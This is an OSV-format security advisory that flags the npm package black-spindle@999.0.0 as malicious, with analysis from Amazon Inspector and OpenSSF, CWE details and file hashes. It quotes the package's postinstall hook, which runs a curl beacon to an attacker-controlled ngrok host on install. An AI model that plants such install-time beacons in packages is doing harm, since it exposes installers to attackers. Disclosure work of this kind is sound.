{"schema_version":"1.9.2","id":"MAL-2026-18359","published":"2026-10-28T16:15:41Z","modified":"2026-10-29T13:48:10.613996730Z","summary":"Malicious code in black-spindle (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3dd746168a2e733a835005f5fd321e1bab9a24688a4c5d413247ae065ea29786)\nblack-spindle@999.0.0 declares a `postinstall` lifecycle hook in package.json that executes `curl http://778e-181-63-25-28.ngrok-free.app/test` on every `npm install`. The destination is a short-lived, anonymous ngrok-free.app HTTPS/HTTP tunnel unrelated to any declared publisher, contacted over plain HTTP with no pinning or verification. The shipped `index.js` is an empty stub, so the manifest's lifecycle hook is the package's entire effect: installing the package causes the installer's host to contact an attacker-controlled endpoint and discloses install-time metadata (source IP, timing, user-agent) to that endpoint. The 999.0.0 version and single-line postinstall-beacon shape are consistent with dependency-confusion / install-telemetry beaconing rather than a legitimate library.\n\n## Source: ossf-package-analysis (c5ef30c4ec24f78fa57d10f6bd8e7fb7be307fc23e833428af785b2013bf2fab)\nThe OpenSSF Package Analysis project identified 'black-spindle' @ 999.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"black-spindle","ecosystem":"npm","purl":"pkg:npm/black-spindle"},"versions":["999.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"a7553578a65094d223be06e5ab1da675460a2ec3cdf58bba33e45f150a012a4b","tlsh":"93c0c0824632062320b047faf4f6c613ba010e2f21704aceb07300080160a332d09713"}],"package_integrity":[{"filename":"black-spindle-999.0.0.tgz","hashes":{"sha1":"ed59a1bb63775b271006861fca54970929f5ae41","sha512_sri":"sha512-NvSHhE3EGTLfl0R9SpjKEI+Ldoe0flZ3Enw7EQFUswm7+FsP4Tw1GTqJfdx12MyIfv5iuJOFS/PR0yU9wLetnw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/black-spindle/MAL-2026-18359.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/black-spindle/v/999.0.0"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-10-28T17:12:03.563698225Z","modified_time":"2026-10-28T16:15:41Z","sha256":"c5ef30c4ec24f78fa57d10f6bd8e7fb7be307fc23e833428af785b2013bf2fab","source":"ossf-package-analysis","versions":["999.0.0"]},{"id":"IN-MAL-2026-021877","import_time":"2026-10-29T13:37:14.621516182Z","modified_time":"2026-10-29T13:19:38Z","sha256":"3dd746168a2e733a835005f5fd321e1bab9a24688a4c5d413247ae065ea29786","source":"amazon-inspector","versions":["999.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}